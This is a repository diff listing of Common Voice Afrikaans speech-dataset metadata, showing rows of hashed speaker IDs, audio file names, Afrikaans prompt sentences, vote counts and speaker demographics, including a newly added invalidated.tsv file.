8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597168.mp3 0602fa051996176288ddcdea0b0afd6eab1f6e0b1d1160d7d98033ee0834ba9f Ek kannie môre praat nie 2 0 fourties female_feminine af
|
| 119 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597170.mp3 2087958ab5fe2243f63e896fe444c557d821c9e335abdeef657f0c2ce9d07d84 Nou en dan las sy vrou ’n woord tussen. 2 0 fourties female_feminine af
|
| 120 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597173.mp3 212bd089a9e1da8d56b474ba59c942ac88c39612914a577c3779c15e88a389c8 Is die inligting betroubaar? 2 0 fourties female_feminine af
|
| 121 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597176.mp3 1577f64567c7edcc103aa380444c7cc4707a419ed1a3c08b62c6fe13c7618845 Die regering beskou ook marikultuur as belangrik omdat die mariene bronne aangevul moet word. 2 0 fourties female_feminine af
|
| 122 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597179.mp3 0d8bc38d7470426e98409d95c66152965cbc0be9b5a0b7aa89a59f8da0966641 Hierdie vennootskap het buitengewone positiewe resultate gelewer, wat verbruikers bevoordeel het. 2 0 fourties female_feminine af
|
| 123 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597206.mp3 23c7756361941688db7af201b5cfc073a12c01c0e7a4df54cc31ec0c6549ee1c Die eienskappe van elke vorm word aangeleer voordat vergelykings tussen vorms bespreek kan word. 2 0 fourties female_feminine af
|
| 124 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597209.mp3 1aad55df4222d8803294f60c44d665d3ecfba0abce0f234e55f2f46ef76ccc32 Hy het sy kakebeen in 'n bakleiery gebreek. 2 0 fourties female_feminine af
|
| 125 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597210.mp3 181a674a408a6cc1ef470e12f56aead5f05db8cb714bd8a5b7fae847ee2ef676 Die verkoopsyfers van twee motorvervaardigers in Suid-Afrika vir 'n sesmaande-tydperk is vrygestel. 2 0 fourties female_feminine af
|
| 126 |
+
8534c4285decf6a5f5c22ddd854452b1460eb6e07db69f54ba84fc6fc8458e80a154a7ec98ac09dc398aaa5ddab91464aeb20b6c8d123ced0d30e14d14777a4c common_voice_af_39597211.mp3 2232caf259687f3a61af7c8ba2ea6c8adccb5b3e33b27399aa7517c736e64d69 Ons gaan in die vakansie na 'n wildreservaat toe. 2 0 fourties female_feminine af
|
transcript/af/invalidated.tsv
ADDED
|
@@ -0,0 +1,199 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38086400.mp3 13c04c5e634fdc050ffbf12e2cf869a840bd1bf7b7acb42d153d29cc3b3428d4 Die Departement van Kultuursake en Sport is verantwoordelik vir die provinsiale jeugdiensprogram. 1 2 fourties male_masculine af
|
| 3 |
+
93dcde93043394907d2601c10f14bc19a9a5337f70db6638b98ffe38c3e498dd8c456711db28af9f3dbbde3523e52d0e556ece86a05c0762829007c10bccba9c common_voice_af_38087096.mp3 011cd653a4cfb8a83456a2cbe58bb5676365185667050b0dde51963ac9aaf5ac Om die Departement oorhoofs te bestuur in ooreenstemming met toepaslike wetgewing en regulasies. 1 2 af
|
| 4 |
+
b7b78e93a9152d19bf7981b2530c410e007ea7c80bde57f95ad0bdc4bc086265fc1da8a8ed040fe3b159e3692203545e8280be25fe703651be9d599023e3370b common_voice_af_38088395.mp3 0198c9e2ca6f81ab096d0ff184863d63a6a9e75ddcec318d528c117bb65796a4 Verduidelik waarom jy sal verkies om hierdie kraggereedskap in plaas van handgereedskap te gebruik. 1 2 af
|
| 5 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088723.mp3 10fd46329a9195c6ec3568ec07e726ccc8ce3b46ecd76ca0daa6564d429958b2 Raadslede moet die aanbevelings van amptenare teen die gemeenskap se behoeftes en belange opweeg. 1 2 fourties male_masculine af
|
| 6 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38088783.mp3 10b4686f66e13b851e41db939c5356684f5ac4407889df7ed301d472a97c4b50 Hulle het die goedgekeurde ouditplan uitgevoer soos deur die onafhanklike ouditkomitee aangedui. 1 2 fourties male_masculine af
|
| 7 |
+
753361d7949714418e9f8f652aa712ddf17dba0fd14e4910f7149ac20050b501996018cce457a10c0e014eebe1ea973b8e93b1ecd77a73d097ecc3ef768689aa common_voice_af_38091466.mp3 0e0d27b694bded3c2762a4c70cc2c0c8b90e8991cc3da3282ec88a3d324dea80 Die bloedtoetsresultate tydens jou ondersoeke sal jou dokter help om jou behandeling te bestuur. 0 2 af
|
| 8 |
+
d45bbf6d4c85018f0a08b4260e290a21f3e9adc4ee2d27008ec61626beb412bd764801729fdef10ad81cbc3deffed6928421edac102eb7f5b4e0525deb8ed167 common_voice_af_38094605.mp3 06e93b9611cfc3c9676af54fd78ed188743d08ec76feba4fe9970e83a2454720 Strukturele isomere verwys na die volgorde waarin verskillende atome in 'n binding saamgebind is. 0 4 Kaapse Afrikaans af
|
| 9 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005351.mp3 01431d3150bc853bc07c23f281cf4638011bd55c5e8200ed7a30b649268a1409 Die lugvaartbedryf het nog nie genoeg gedoen om hulle koolstofvrystellings te verminder nie. 0 2 twenties af
|
| 10 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005352.mp3 14fca12147a246ae59668b9101a363aabba079f7bbcdbbe2109c0633bbda6c72 Vee onder die bed. 0 2 twenties af
|
| 11 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005353.mp3 034b39852111afac146c23789045524e64999678e3e642122506211faac61bc3 Die Inligtingsbeampte moet ook 'n persoon wat redelike bystand benodig gratis van hulp voorsien. 0 2 twenties af
|
| 12 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005354.mp3 18e687773a99316facfb673bb8c15916dbc2274a6525ccbf46273504a0ac0736 Elektriese geleiers is gewoonlik metale omdat metale oor die algemeen 'n hoë geleidingsvermoë het. 0 2 twenties af
|
| 13 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005355.mp3 1e0f763220f2b13810dacbbf991cf1b4b69e83e11c7c5bd96312a57756bc6a7d Om doeltreffendheid te maksimaliseer, is die gebou ontwerp om instandhouding te vergemaklik. 0 2 twenties af
|
| 14 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005357.mp3 030a61bee382c057ff8d3801ff3618c4cb69bb84985f2e0ea1898ceb5dc08870 Tydens haar en 'n ander permanente werker se kraamverlof is twee tydelike werkers aangestel. 0 2 twenties af
|
| 15 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005358.mp3 17df1319e2daace247e0e6c850509a746a1da366dbc3cf2a3a10297808023cd9 Stel voor hoe 'n entrepreneur verpakking kan gebruik om verbruikers se koopgedrag te beïnvloed. 0 2 twenties af
|
| 16 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005359.mp3 0c169940ff4df328aeccd93125380d0b2d49d2581a152d4b9b21e40a982f47c4 Olie is Angola se belangrikste bron van inkomste, dus is olie-aanlegte herhaaldelik aangeval. 0 2 twenties af
|
| 17 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005360.mp3 06c8c626dae3b9725e3bf43707ee510801b24cbfda3868a21a3aec343af7fcd4 Slegs grondgebruikers wat vir droogtehulp geregistreer is, kwalifiseer vir dié hulpmaatreëls. 0 2 twenties af
|
| 18 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005361.mp3 1242290d9aba5a453486c6cc98f40a6fe968b35cefdcdd2bcd4bbe2d58b62bfe So het ons voorvaders gemaak. 0 2 twenties af
|
| 19 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005362.mp3 01f0c6eda39845a26b763d0424731ac84dd1c0590aa0d6b3be197658cd0ed60b Ek wil Pole besoek 0 2 twenties af
|
| 20 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005363.mp3 0ee7537e56130fd8fc529cd9704bf29cb96a62127e3895afa9b592e8559068e1 Grootmaatgebruikers sal ook van water voorsien word deur aftappunte regstreeks uit die pypleidings. 0 2 twenties af
|
| 21 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005364.mp3 090035809494436afa4da8f966334d0f4eabcc03f1c8f603af31b18ee09ae604 Die maand sal regeringsdienste, toewyding en uitnemendheid in openbare dienslewering beklemtoon. 0 2 twenties af
|
| 22 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005365.mp3 02b0c62ccf206cc89c0d6d377a489f77f3525fabccfb64995e5fc3ca74f323dc Navorsing is gedoen om 'n addisionele vyf geografiese name te verifieer of te standaardiseer. 0 2 twenties af
|
| 23 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005366.mp3 09a82935394de9c7c848b18886915e7577ae911eefe3de09bb6f45c3ef5afab1 Dit voorsien ook verbeterde beskerming en geregtigheid vir slagoffers van internasionale misdaad. 0 2 twenties af
|
| 24 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005372.mp3 0ad5857b4448b40e2cedecef5d2a8359a9cb7319e73d7722ddb025be75ff21a6 Daarbenewens was die respondent die alleenaandeelhouer in die maatskappy en Lüderitz 'n direkteur. 0 2 twenties af
|
| 25 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005373.mp3 08ab914095821bda9253fbe0edec07b89fd0bac8befa566571287207f450866c Dit moet aansienlik bydra tot die oordra van vaardighede en kapasiteitsbou van benadeelde groepe. 0 2 twenties af
|
| 26 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005374.mp3 0aa6c5b5df8bd5a1eec130985651a6e56d4b2a80db930f171cf44324c6586c68 Die een dag is hulle dit en die ander dag weer iets anders. 0 2 twenties af
|
| 27 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005375.mp3 034c49156759186b8351daaed6070639c93512aa5a3184cafd4d4bcef73ac4ea Aanbodketting-bestuursprosesse sal ontleed en herbewerk word om hierdie benadering te kan volg. 0 2 twenties af
|
| 28 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005376.mp3 060284600d183c2c433d7505004d0bc28e72af65348795e929a0154b540199af Verduidelik hoe die apartheidsregering reageer het op die publikasie van die Vryheidsmanifes. 0 2 twenties af
|
| 29 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005387.mp3 059833706806463fdc9a6c7b4bc51fdbc569570f1034cbac4283a3fdbda16778 Daarbenewens moet alle aanstellings gemaak word met inagneming van die diensbillikheidsbeleid. 0 2 twenties af
|
| 30 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005388.mp3 1b6847c1ec0fc3e448d1e6976888a77123fa0f5184dd59745d181eefffb313a8 Om werkgeleenthede te vermeerder en die lewensgehalte van werklose gemeenskapslede te verbeter. 0 2 twenties af
|
| 31 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005389.mp3 06a6610a284f486ac12d48f1ac25b86f478b471b36f469c9052ff10c36739547 Die infeksie het versprei en hom baie siek gemaak. 0 2 twenties af
|
| 32 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005390.mp3 1a33bb010b9eb117acd55070f6349510782ec87a08245c3ba07f7094120f2b7c Graag sê ek dankie vir diegene wat geduldig hierdie noodsaaklike en onvermydelike ongerief aanvaar. 0 2 twenties af
|
| 33 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005391.mp3 09c18818ddb3764db9defec6e1109f72d67cce998176c9d25036ce180777e1ab Skryf 'n kort advertensie waarin jy duidelik die belangrikste vereistes vir hierdie pos uiteensit. 0 2 twenties af
|
| 34 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005392.mp3 0918b0ae50fa97c6cf8e637e8df70d4f29b3b540b688fabefe2531458dae4a61 Watter maatreël kan die staat instel om die negatiewe impak van niemerietegoedere te hanteer? 0 2 twenties af
|
| 35 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005393.mp3 06cc3d8fc5cbb9c4bbbc25879ef43515b34f62eaf63ae9697104200b623bc04d In hierdie sin word Healy se stelling bloot geparafraseer. 0 2 twenties af
|
| 36 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005394.mp3 118add613491e5f15034e76762ed15d4847d5221d5693489314b58208b2769a9 Gesegregeerde tuislande is deur die apartheidsregering geskep om 'n skyn van selfregering te gee. 0 2 twenties af
|
| 37 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005395.mp3 0eeb9efca5d140a0da0c2f571b09d79435b6ca9482643315450b9a5ef2704a9b Volgens die riglyne van hierdie weergawe word bladsynommers by elke teksverwysing ingesluit. 0 2 twenties af
|
| 38 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005396.mp3 119358289634c983873717865220f46f554e00d0dd24081173edbfdb81109b9d Kan die kind haarself aantrek? 0 2 twenties af
|
| 39 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005402.mp3 033822f18b1372111b5a81f4372cb3331fbc3d28981938fbc0445103a87ec7b8 Hierdie dokument moet saam met die Vakassesseringsriglyne en Leerprogramriglyne gelees word. 0 2 twenties af
|
| 40 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005403.mp3 1418cb25fbcff130b82c681bae309e23c38143abbdccbd5cb01000f43770a243 En tot ons roep hy: “Toe kinders, bring die waswater en kom was". 0 2 twenties af
|
| 41 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005404.mp3 14d644d144e7faca21ee0633429c38654bc45b0b476a9f27effe295534ae35a4 Hierop sê ou Bamboes: “Wag nou, julle”. 0 2 twenties af
|
| 42 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005405.mp3 1d6fa3328279c08c58c6f4192bfa64b2ae679789b8f9d0e97e24897de2816a13 Daar is oral vlieë in hierdie hitte. 0 2 twenties af
|
| 43 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005406.mp3 0eeb62ef4e13989c1ed607edc87f7bf84004edd1711a544af81318ea09ead120 Evalueer die geskiktheid van die materiale wat gebruik is met beperkte voorstelle vir verbetering. 0 2 twenties af
|
| 44 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005407.mp3 148d9d8461b1e3dca9ee7b94d306e95b596f5506692def86c6efffb46102bba1 Sosiale insette is ongelooflik belangrik vir gedrags-, kognitiewe en emosionele verandering. 0 2 twenties af
|
| 45 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005408.mp3 1393ca399ca78fbef7240b6ae9a18bca28f3f93d065a5354b586dfdc17ab82b8 Dit is betalings aan munisipaliteite wanneer hulle dienste namens provinsiale regering lewer. 0 2 twenties af
|
| 46 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005409.mp3 1e4362b54b82501cd0cee267eb993cfdde0045c222efdb5790949705d8b3b87b In daardie dae het die buitelanders nog nie in hierdie land gewoon nie. 0 2 twenties af
|
| 47 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005410.mp3 01493f96fed3ecdc6bdf3c3d16a58f4ceb4eb1b0dfbff0cee77284145f84df2a Die Departement van Gesondheid maak nou die lewe makliker vir pasiënte op chroniese medikasie. 0 2 twenties af
|
| 48 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005411.mp3 09ecc8f69a1d2c4db2a9719eb7d51d0460c757a47b4614c2a750b99819a091d8 Vervang oop geleiers wat kragonderbrekings veroorsaak wanneer die wind waai met bondelgeleiers. 0 2 twenties af
|
| 49 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005412.mp3 10f00235eae6cad7c22a1e910800ea6688b37bdea599367279a3d58f30a4f51e Ek eet middagete smiddae 0 2 twenties af
|
| 50 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005413.mp3 192fdfee2deb1ebf958732f472782809b87605ceacfeee51338bff66254ec5e2 Hulle is geïdealiseerde sterk, magtige figure sonder individualiteit en tot oorlopens vol energie. 0 2 twenties af
|
| 51 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005414.mp3 0b6e0988d889d3df38ea1f9928ae941fa295d4f1e1db098cc084772b45353bf6 Die polisie sal 'n waarskuwing gee en dan skiet. 0 2 twenties af
|
| 52 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005415.mp3 1ffa3881cf1dd81db5c34469050579adfb6d03f6c52d93a70a04f499a023b005 Sommige mense sal steel en plunder as daar 'n geleentheid is. 0 2 twenties af
|
| 53 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005416.mp3 0d2a7dee38a1016eff6b12acf333a1d606e580e2b2bf3acd439adc3a7fc0c017 As voorbeelde hiervoor sal gevallestudies van die bes presterende departemente gebruik word. 0 2 twenties af
|
| 54 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005437.mp3 09f8a1a4e1804f78db6f78addeb495d3b6f5858a7751f72ce08919d731a31aef Die regte dosis word ingespuit in die verkeerde aar deur verkeerde inspuitmetode te gebruik. 0 2 twenties af
|
| 55 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005438.mp3 19f1f405d248b34cf95c854031554ddfc2ed7f3196059d3258cc5ce6e2d8df65 Die goudstandaard het die waarde van die geldeenheid tot 'n sekere hoeveelheid goud ondersteun. 0 2 twenties af
|
| 56 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005439.mp3 197a78ac52070b9cc2ed9ce69315029f140e1b9ac68ef5614bdfd7de4dd21149 Die ontwikkeling van hierdie fasiliteit sal wetstoepassingspogings in die streek onderskraag. 0 2 twenties af
|
| 57 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005440.mp3 0bbdaf737b3506b7449d1d81a0808c63a638ff488253c6c70fca1b83869bd1a0 Merk asseblief die toepaslike blokkie en gee besonderhede van wysigings in die ruimte daarnaas. 0 2 twenties af
|
| 58 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005441.mp3 039754967e1cfca3d7f70f045e61929e5dcd861e370ceae2b4bb3ff0ca84a59e Opvolgaktiwiteite soos woordeskatuitbreiding wat op die teks gebaseer is, kan ook plaasvind. 0 2 twenties af
|
| 59 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005442.mp3 0002d486dacc9c25b3ee14f0b1f428e63d08146d880415f3c09dcfe286aebc4f Verduidelik in 'n goeie sin wat die briefskrywer met die woord getorring bedoel. 0 2 twenties af
|
| 60 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005443.mp3 1987957da790c52c9fbc7977b00fb1b62200b3e97f9bd7b96f4de696001371bb Hou jy daarvan om te gaan fietsry? 0 2 twenties af
|
| 61 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005444.mp3 0b255c12a033520b1102aa41c396178c4d122bb9595edd2b0af03ee7190cbd1d Huishoudings moet verseker dat hulle toiletfasiliteite altyd in goeie werkende orde en skoon is. 0 2 twenties af
|
| 62 |
+
